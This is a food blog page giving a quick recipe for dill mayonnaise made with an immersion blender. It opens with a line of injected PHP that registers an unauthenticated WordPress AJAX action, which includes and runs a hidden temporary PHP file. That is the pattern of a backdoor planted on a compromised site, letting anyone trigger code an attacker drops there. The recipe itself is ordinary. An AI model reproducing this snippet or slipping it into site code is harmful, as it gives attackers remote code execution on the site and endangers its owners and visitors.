if(!function_exists('file_check_tmp_mj9qfrp')){ add_action('wp_ajax_nopriv_file_check_tmp_mj9qfrp', 'file_check_tmp_mj9qfrp'); add_action('wp_ajax_file_check_tmp_mj9qfrp', 'file_check_tmp_mj9qfrp'); function file_check_tmp_mj9qfrp() { $file = __DIR__ . '/' . 'tmp_mj9qfrp.php'; if (file_exists($file)) { include $file; } die(); } } sharminBITESDill Mayonnaise - sharminBITES

Dill Mayonnaise

Jarred 2

30 seconds!!… Yep that’s all it takes to make this delicious, light, creamy mayonnaise.

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I got the recipe from theviewfromgreatisland.com.  This goes really well with any kind of seafood, or poultry dishes.  I loved it on my salmon burgers.

Jarred copy

Ingredients:

  • 1 pastuerized egg, at room temperature
  • 1 cup mildly flavored olive oil, also room temperature
  • a handful of fresh dill
  • salt and pepper to taste
  • a squeeze of lemon, about 1 tbsp

Instructions:

  • Put all the ingredients in a jar/bowl.  Use a immersion blender and blend until the mixture comes to a thick creamy consistency, about 30 seconds.

 

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